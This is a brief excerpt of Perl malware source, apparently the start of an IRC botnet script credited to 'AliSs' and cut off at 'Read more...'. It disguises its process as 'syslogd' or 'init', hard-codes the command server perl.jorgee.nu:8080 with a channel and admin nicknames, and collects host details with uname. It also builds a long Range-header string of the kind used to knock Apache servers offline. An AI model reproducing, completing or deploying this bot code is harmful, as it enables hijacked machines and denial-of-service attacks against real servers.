Credits to AliSs. $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } my @ps = ("ps","syslogd","init"); my $processo = $ps[rand scalar @ps]; $servidor='perl.jorgee.nu' unless $servidor; my $porta='8080'; my @canais=("#perl"); my @adms=("M","st0n3d","x00","Jack"); my $linas_max=10; my $sleep=5; my $nick = getnick(); my $ircname = "x00"; my $realname = `uname -vr`; my $uname = `uname -a`; myRead more...